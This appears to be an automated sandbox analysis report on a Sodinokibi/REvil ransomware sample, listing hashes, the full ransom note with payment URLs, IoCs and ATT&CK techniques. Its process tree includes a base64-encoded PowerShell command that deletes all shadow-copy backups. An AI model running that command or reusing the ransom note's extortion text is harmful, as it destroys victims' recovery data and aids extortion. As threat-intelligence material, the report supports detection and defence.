sodinokibi | 591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a

General

Target

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
Size

115KB
MD5

35766bd0b389c682306437d45ba5c4e6
SHA1

b837df01d31c1bfff0e54f07076323d075a4bf27
SHA256

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a
SHA512

e20472ae28857e4dd7b021e23366623cf6b3f9a4818b09c36997b1428220d244da760ff61aaa11de690278152fb551e2a002f7ff19e1cf60ad625845772930c6

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Path

C:\1g3wd8r-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 1g3wd8r. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/887C53C24A330C29 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/887C53C24A330C29 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 1RkgY6+Cy9TZ/mCVYenJpC8tJXwkIkqeUgzrtC6ogas+jQY6EQNo8MvbJpLg2QhE u4rio/t7CpkYYwRx6JEP7EHQV/z75/NHVSkl/rfr6kyXc42hohnPsNLCLL3RGf3W OwonlqdPfHHE84t33S7P9dIQrnJw4wfucF3K0BZ2axDDNelE2/M2PsEVWMCL01qs Zyt9SCNgIPq5Y0G9GvUoOv3MKaOVDmAsg9UKLOYUnJhWQJ6vz1TTMlyMSRL4mkqW be+eBjzo/iIkp9YrcnnSLbODa+qyfm7M15BuffdwAw9TSX0dUQvWPqozX8L1o/2W 6gu4gr6eDJoT4DjLLnpIj+8MUVA2gJp+E567Yn1vCGDPCdtlwDK62Sh6jz9xdCqX KUwbdxJ7cOdHZmhtY+0kZSt+5MrPR0GBRNZyrrv4w7jlFewPHfZGXa1CwvyVCFTY JRPbuFYoDxurQXj+C2XhR0RuDXEYOtXQmwAkFK0H8EDWcwCiay2ZKmut8h4wKLnL X+0yn32eQHLHq4uZWCIigVMRXpMfL98JHN9a76pZGzzbQ/gP4bhqUFPwtu8jQH6z WF2CrtrQwKmys+OTcQ9yXvY2Dgd4Nr7vCHUQGcWMgDQRes/+A0NQ5V20PPn6WiZ1 waJZghwFW/d8m4ouXc/x8JKDhhqtC17gxfK1o0m7/iuR/fSNqEpt2odMEM6kvmut 16XpEjjLE1PHksKS1rHWh8yBx2T9zPGwI9WmzuJYKZhsTyI3J5bIvY6vB9mr+QtR JUVoQ7iBy7Z0E+x4gwqB0I0f4LGAYEcFoc2/tsRj8Cmwqex9GJcw1RVwgnEZRzcI O84PlTl5DXFkgzZzznTwjaQYkPb44qB0FldSEkGfhG0DhqqKN2JbJZUNurF5b/N7 XV1J4WstFTV/H0ACLCacTvuTHJcSfH32/S2Ue67PodcL6unCLE/bcT2WhdmatFcP uDeQG9jdVKJczLygfYIbzjrs7a8gYbr7LaUrfZdey2wiQXJquPn/pm5eVfFUxk9C g2hywBq8QLKlfbvVEBU0DjNu/U0OUcOUqDNYiyEzdy7NkB/xxcMuNsOdVum4rLPc xMyfgKIfuMaQFzmDPvJL0M9Uwyo8Ft6H611tOCtlpieygCr7Tsfb/uAy3Nhb8qyR rlVBdqrGP3+afq16/Y60uqhWb8jyUPq6XlOQxu0iePZ4QeRa0VQghJ9qwjUbZoMy yX+zv9G8xDiyb39dRwUVtb+5AvqOL6/WbKQuEapWEOKHRzog+hIuOCUzDMKtg3CW KEfaxXLL3HF+0AezOiQ= Extension name: 1g3wd8r ----------------------------------------------------------------------------------------- !!! !!! !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/887C53C24A330C29

http://decryptor.cc/887C53C24A330C29

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 12 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\SelectGroup.png => \??\c:\users\admin\pictures\SelectGroup.png.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\RestartRegister.crw => \??\c:\users\admin\pictures\RestartRegister.crw.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\UpdateSend.crw => \??\c:\users\admin\pictures\UpdateSend.crw.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\WriteRead.png => \??\c:\users\admin\pictures\WriteRead.png.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\users\admin\pictures\RequestPublish.tiff	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\NewUpdate.tif => \??\c:\users\admin\pictures\NewUpdate.tif.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\InitializeRename.png => \??\c:\users\admin\pictures\InitializeRename.png.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\MoveResolve.crw => \??\c:\users\admin\pictures\MoveResolve.crw.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\MeasureSubmit.raw => \??\c:\users\admin\pictures\MeasureSubmit.raw.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\RequestPublish.tiff => \??\c:\users\admin\pictures\RequestPublish.tiff.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\users\admin\pictures\DisableExit.tiff	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File renamed	C:\Users\Admin\Pictures\DisableExit.tiff => \??\c:\users\admin\pictures\DisableExit.tiff.1g3wd8r	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\k4bw98d.bmp"	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

Drops file in Program Files directory 15 IoCs

Processes:

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

description	ioc	process
File opened for modification	\??\c:\program files\PushDismount.ps1xml	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\ExitMerge.scf	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\PublishRestore.zip	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\PopSync.xlt	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\ProtectEnter.temp	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\TraceCompress.wps	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File created	\??\c:\program files\1g3wd8r-readme.txt	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\OptimizeWait.mp2	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\GetJoin.ttc	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\MovePush.wma	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File created	\??\c:\program files (x86)\1g3wd8r-readme.txt	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\ConfirmProtect.htm	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\SetShow.docx	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\CompareApprove.js	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
File opened for modification	\??\c:\program files\GroupDismount.wmf	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A416002331A4E0C8C53D94AC1E0234723D8BDE97	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\SystemCertificates\CA\Certificates\A416002331A4E0C8C53D94AC1E0234723D8BDE97\Blob = 030000000100000014000000a416002331a4e0c8c53d94ac1e0234723d8bde971400000001000000140000008180d62879354a5b793589398f12176e117b2c1104000000010000001000000058bec6c6284db2ea1a8aca560691ff0f0f0000000100000020000000eed0b2ecc538897b88bde1b187557738b9d695936927b6d8c88ce131e34f675e190000000100000010000000603338adfa4a38f9199fb173f33983115c000000010000000400000000080000180000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f20000000010000007b040000308204773082035fa003020102020d01ee5f222de71b43a5d4669f9e300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3138313132313030303030305a170d3238313132313030303030305a3050310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d7361312630240603550403131d476c6f62616c5369676e205253412044562053534c204341203230313830820122300d06092a864886f70d01010105000382010f003082010a0282010100a8fb55f5fff090abffe7ef41bd683052e7fd32edc9f515f7c0b9af31709852521698d1e12d698067c56c5b7a2cf973b9ab9a85bd84336bd983af80f99dfa5290338fc0940a0a43aa3ada27a375cbd02d6a3a20dd779ffc476054356e33f4b3ba85a9f3467e6c5616e8a61e5300c6b4f28629f35b7a4030d8a8b72962ab7821c518c4dc61f9cc18963637ea4b9bcf6ecac467ab0345d75834bdbae36838fc5dc4a19082d51d3868c5d5a0a9732c9c8ab7dd70e049d70bf034c9ec3e3f754b821048691aff8bce9b1cc294ecb7dd4bd5b4e4590e188215f11bf3d8c77adac9963b57935538beb0ff20dbaf952c08bdaae3543945a31cf1f782d2cb4d61c20686250203010001a38201523082014e300e0603551d0f0101ff04040302018630270603551d250420301e06082b0601050507030106082b0601050507030206082b0601050507030930120603551d130101ff040830060101ff020100301d0603551d0e041604148180d62879354a5b793589398f12176e117b2c11301f0603551d230418301680148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc303e06082b0601050507010104323030302e06082b060105050730018622687474703a2f2f6f637370322e676c6f62616c7369676e2e636f6d2f726f6f74723330360603551d1f042f302d302ba029a0278625687474703a2f2f63726c2e676c6f62616c7369676e2e636f6d2f726f6f742d72332e63726c30470603551d200440303e303c0604551d20003034303206082b06010505070201162668747470733a2f2f7777772e676c6f62616c7369676e2e636f6d2f7265706f7369746f72792f300d06092a864886f70d01010b050003820101004205854cdd9608e64fe853a78b382d86d4373c3ae4f10e2e794058a7d1fdd467f4847b9c9d8ef6707b6c846d6224aa8eb0bb90f9ec1516d5d511a2b519e275e42b7d444bd8b24c57c0f8112dfffee3f9ac96a909866e2308659da6e4837f43a7d2b992abe37bfdd68ec9a4d7a9c92177aafe631f64aecd1e239b60737a7e29ca57866af0b65e472a85c290502d60f22eb55b8b3919448930f89a357891279095a40bfd9403180f6e5eab038f827fa2447bfebb81c9e12e87c68a5a0052985ee815ab0a5cf29d4db212f43f4504f29b62fbb5aaebc8fc042c1a9419b2f8d125b16ed60536d2584b6180b63c62bca302b6dd36633968253a7ba28ba3141b092233	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exepowershell.exe

pid	process
2892	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
2892	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2892	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeBackupPrivilege	996	vssvc.exe
Token: SeRestorePrivilege	996	vssvc.exe
Token: SeAuditPrivilege	996	vssvc.exe
Token: SeTakeOwnershipPrivilege	2892	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe

description	pid	process	target process
PID 2892 wrote to memory of 3884	2892	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe	powershell.exe
PID 2892 wrote to memory of 3884	2892	591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe
"C:\Users\Admin\AppData\Local\Temp\591d971b9411860904bc7fb9234d9069e3e8cacd06523b0bf93547bc2c4a827a.bin.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3884

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:748

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3884-0-0x0000000000000000-mapping.dmp

Download
memory/3884-1-0x00007FFD5CC10000-0x00007FFD5D5FC000-memory.dmp

Filesize
9.9MB

Download
memory/3884-2-0x0000025F35D60000-0x0000025F35D61000-memory.dmp

Filesize
4KB

Download
memory/3884-3-0x0000025F368B0000-0x0000025F368B1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads